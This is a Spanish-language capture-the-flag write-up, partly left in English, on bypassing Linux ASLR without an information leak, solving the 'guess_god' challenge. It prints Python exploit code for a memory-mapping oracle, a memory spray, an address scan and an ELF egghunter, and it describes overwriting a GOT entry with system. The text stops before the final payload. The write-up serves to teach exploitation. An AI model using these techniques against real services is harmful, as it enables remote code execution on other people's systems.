
ASLR bypass without infoleak
En este artículo, hablaré sobre la aplicación de la técnica descrita por Samuel Groß en su Explotación remota de iPhone Parte 2: Aportando luz a la oscuridad -- un bypass remoto de ASLR, para evadir ASLR en Linux x86_64.
Para mostrarlo, voy a resolver un desafío pwnable de Buckeye CTF, guess_god.
Intentaré mantener el contenido lo más apto para principiantes posible, así que no dudes en saltarte cualquier sección si te sientes lo bastante seguro y solo quieres ver el exploit.

No jugué el CTF, pero me interesé por el desafío unas 2 horas antes de que terminara el CTF gracias a Guray00, quien pedía ayuda en el discord de fibonhack sobre unas artimañas criptográficas.
No pude ayudarle, pero eché un vistazo a los desafíos pwnable y pensé que sería bueno entender la publicación del blog de P0 y, con suerte, conseguir esa recompensa.
Address Space Layout Randomization (ASLR) es una técnica de seguridad informática que consiste en posicionar aleatoriamente la dirección base de un ejecutable y la posición de las librerías, el heap y el stack, en el espacio de direcciones de un proceso.
En Linux, puedes inspeccionar los mapeos de un proceso dado su pid a través de procfs, leyendo el archivo /proc/<pid>/maps.
Si eres un proceso y quieres conocer tus propios mapeos de memoria, puedes leer /proc/self/maps.
Por ejemplo, puedes intentar leer /proc/self/maps con cat:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### Patrones de mapeo de memoria
Si haces esto un par de veces, podrías deducir que:
* La base PIE del binario debería estar en el rango 0x00005500_00000000-0x00005700_00000000, lo que significa 2TB de direcciones posibles.
* El heap está cerca del binario.
* Las librerías se encuentran en el rango 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB de direcciones posibles.
* La pila se encuentra \(la mayoría de las veces\) en el rango 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb de direcciones posibles.
* El rango 0xffffffffff600000 - 0xffffffffff601000 siempre está mapeado, puedes leer [este artículo](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) si tienes curiosidad sobre qué es.
## 1.3 Cómo evadir ASLR sin una fuga de información
Hablemos de lo que puedes hacer para evadir ASLR cuando no es posible una fuga de información.
Este es mi intento de resumir lo que obtuve al leer la entrada del blog de Saelo.
Para evadir ASLR necesitas:
* Una técnica de memory spraying, que te permite mapear memoria contigua de un tamaño dado, en un rango de direcciones dado.
Como él dice, hay dos maneras de hacerlo:
1. Abusando de una fuga de memoria (¡no una fuga de información!), un bug en el que un fragmento de memoria queda “olvidado” y nunca se libera, y disparándolo múltiples veces hasta que se haya fugado la cantidad de memoria deseada.
2. Encontrando y abusando de un “gadget de amplificación”: un fragmento de código que toma un fragmento de datos existente y lo copia, potencialmente varias veces, permitiendo así al atacante hacer spray de una gran cantidad de memoria con solo enviar un número relativamente pequeño de bytes.
* Un oráculo `isAddressMapped`, que dada una dirección te dice si esa dirección está mapeada o no.
### PoC de evasión de ASLR en Linux
Intentemos reproducir el PoC de saelo para romper completamente el ASLR en Linux.
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> el PoC de saelo</i> <p/> <br/>
En Linux no es tan fácil; es posible romper completamente ASLR solo si eres capaz de asignar 16TB de memoria.```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
Según las notas de man malloc:
Así que void *mem = malloc(size) terminará llamando a mmap(size + malloc_metadata_size, ...)
Dado que las bibliotecas se mapean en el proceso a través de mmap mediante ld, esas asignaciones terminarán cerca de las bibliotecas.
Si observas las direcciones devueltas por malloc, podrás entender mejor lo que ocurre. Consejo profesional: fíjate en los bytes más significativos.
El poc explota el hecho de que, en algún momento, el byte más significativo de la dirección devuelta cambia de 7F a 7E y, dado que las asignaciones son contiguas, tiene que haber algo dentro de ese rango. (¡Sí, estamos aplicando el teorema de Bolzano-Weirstress para resolver este problema!)
Gracias al autor, el zip contiene binarios, código fuente y dockerfile para reproducir el mismo entorno que el remoto.

Siempre es bueno hacerse una idea del entorno, así que revisemos los archivos y tomemos algunas notas.
Compilar e instalar oatpp 1.2.5, quizás haya bugs útiles en esta versión específica?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
Compila el reto desde cero
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
Esto podría ser un problema, así que copiemos los binarios distribuidos en su lugar.
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

Se proporciona el archivo docker-compose.yml, así que no es nada difícil tener un entorno local funcional para sondear. Para aquellos que no se sientan cómodos con docker, aquí tenéis la lista de comandos que necesitáis conocer para sondear el reto localmente.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
After doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. Análisis del código fuente
Ahora que tenemos algunos conocimientos básicos sobre lo que debemos hacer para evadir ASLR, veamos el código fuente, teniendo en cuenta que queremos:
* una forma de rociar memoria en rangos de memoria conocidos
* un oráculo isAddrMapped
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Carpeta del código fuente </i><p/>
Es principalmente código de pegamento para poner en marcha un servidor web oatpp; de hecho, los archivos importantes que vamos a analizar son:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
Hay 3 endpoints:
* `/`
* `GET /files/{fileId}` -> Descargar un archivo previamente subido; si extract es true, extraerlo antes de descargarlo.
* `POST /upload/{fileId}` -> Subir un archivo dado un {fileId}.
Y una función implementada en `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
which:
Establece to_open a {file_id} o {file_id}.unkyle ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
Si es la primera vez que solicitamos extraer {file_id}, entonces llama a decompress sobre él,
lo que escribirá el archivo descomprimido de {file_id} en {file_id}.unkyle. ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
Al final mmap el resultado en memoria. ```C
struct stat sb;
fork() crea un nuevo proceso duplicando el proceso llamante; en el momento de fork(), ambos espacios de memoria tienen el mismo contenido.
Por lo tanto, si podemos convertir decompress() en un oráculo que:
Podríamos usar esa primitiva para inferir el espacio de memoria del padre.
Hay una llamada a mmap en el proceso padre: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
si podemos controlar sb.st_size, que es el tamaño del archivo descomprimido, podríamos convertirlo fácilmente en una primitiva de rociado de memoria.
int decompress(const char *fname)
* Mapea el archivo de entrada a la dirección `0x42069000000`.
* Mapea el archivo de salida a la dirección `0x13371337000`.
* Llama a do_decompress(), que realiza la descompresión.
Se espera que el archivo tenga el siguiente formato:
| offset | name | type | description |
| - | - | - | - |
| +0h | magic | uint64 | un valor mágico, se espera que sea 0x0123456789abcdef |
| +8h | filesize | uint64 | tamaño del archivo descomprimido |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
Puedes ver esta función como una máquina virtual simple, que ejecuta el bytecode apuntado por in y escribe la salida en el buffer apuntado por out.
in apunta a nuestro {file_id}.
out apunta a {file_id.unkyle}.
Esta VM tiene 4 opcodes:
0 -> NOP
1 -> STORE(u8 b)
escribe b en out, incrementa out en 1.
Implementación del opcode: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
establece out a out + off.
out y off son valores de 64 bits, por lo que out = out+off es equivalente a out = (out+off) % MAX_64BIT_VALUE, esto se llama desbordamiento de enteros y podemos explotar este comportamiento para alcanzar cualquier valor de 64 bits. Ejemplo: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
Implementación del opcode: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
Copia `size` bytes desde `out - off` hasta `out`, incrementa `out` en 8.
Implementación del opcode: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
No hay verificación de límites en ninguna de las operaciones, lo que nos da 2 primitivas útiles:
SEEK+LOADSEEK+STOREUsé este código para construir el bytecode:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. Interactuando con el binario
Antes de sumergirte en la fase de explotación, siempre es bueno construir algo que te permita interactuar fácilmente con el binario, para no perder tiempo.```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
Eso fue muy importante para mí al intentar resolver el desafío; estuve mirando fijamente los mapeos de memoria durante mucho tiempo.
Para ello, puedes lanzar una instancia local del desafío y leer los mapeos del proceso después de realizar algunas operaciones.

Se nos da una primitiva read what where, así que construir un oráculo isAddressMapped no es nada difícil.
Mi forma de hacerlo fue construir este bytecode:
memcpy(out, targetAddress, 1)write(b'A')Si targetAddress no está mapeada, el programa hijo falla con un segfault en memcpy, dándonos un archivo descomprimido lleno de bytes nulos.
Si targetAddress está mapeada, el archivo descomprimido tiene un b'\x41' como segundo byte.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 Primitiva de Memory Spray
Podemos controlar completamente el tamaño del archivo descomprimido, y obtenemos un mmap de ese tamaño en [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).
En mi exploit usé la función `isAddrMapped` y cambié el filelen.
Por ejemplo, intentemos asignar un bloque contiguo de tamaño = 0x4000000 = 64mb```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
Ese es el resultado:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
Si intentas hacerlo de nuevo:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
Ese es el resultado:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
¡Bien! Las asignaciones múltiples no tendrán huecos.
## 4.4 ¿Cuánta memoria rociar?
Como puedes ver en [esta PoC](#poc-of-aslr-bypass-on-linux), el tamaño ideal para la memoria contigua mapeada sería 16 TB.
Desafortunadamente, si intentas asignar 16 TB de memoria en el servidor remoto, la llamada `mmap` fallará, porque [nsjail limita esto](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).
Después de algunos intentos y errores, descubrí que puedo rociar ~3840 MB de memoria, con este código:```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
los mapeos de memoria resultantes serán algo así:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
Centremos nuestra atención en las direcciones creadas con el memory spraying. \(*.unkyle archivos \)
Podemos intentar aplicar el [truco de cruce de límites](#Boundary-cross-trick).
| mem | ¿Cruce de límite de 4gb?
| - |-
| 7fe2dc000000 | No
| 7fe2e0000000 | No
| 7fe2e4000000 | No
| 7fe2e8000000 | No
| 7fe2ec000000 | No
| 7fe2f0000000 | No
| 7fe2f4000000 | No
| 7fe2f8000000 | No
| 7fe2fc000000 | No
| 7fe300000000 | Sí
| 7fe304000000 | Sí
| 7fe308000000 | Sí
Al aprovechar el cambio de 7fe2.. a 7fe3.. podemos escanear la memoria con un paso de 0x100000000 = 4gb de memoria.
## 4.5 Finalmente derrotando a ASLR
Dado ese tamaño de paso, podemos escanear `start=0x7f0000000000` hasta `end=0x800000000000` con solo `end - start / size` = 256 consultas.```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
At this point, we have leakAddr which is a mapped address like this: 0x7fXX00000000, in this case, leakAddr = 0x7fe300000000.
Now, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times.
You can check yourself with this script:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
Ese pequeño hueco entre 0x00007f763c000000 y 0x00007f763ccaa000 estropea la búsqueda binaria, por supuesto que sigue siendo factible, pero encontré una forma más fácil.
### Observación
Queremos obtener la última dirección mapeada, porque ahí es donde se mapean las librerías.
Por ejemplo, dados estos mapeos de las librerías:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
Podemos buscar la dirección 7fe3d6a5b000 - 0x1000 con este truco:
lastMappedPage = 0x7fe3d6a5a000
Estamos haciendo fuerza bruta de medio byte a la vez, para un peor caso de 165 = 80 consultas.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 El exploit
Finalmente, sabemos todo lo necesario sobre los mapeos de memoria, ahora solo es cuestión de aprovechar una primitiva de escritura qué-dónde para convertirlo en ejecución de código.
Para lograr la ejecución de código sobrescribí la entrada memcpy@got de libkyle.so con system@libc.
### Obtener la base de libkyle
Por suerte para nosotros, la base de libc y la base de libkyle.so están a un desplazamiento constante de lastMappedPage; no sabía que ese era el caso, así que escribí un egghunter que buscaba `\x7fELF` \(Cabecera de ejecutables ELF\), que al final no fue útil.```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
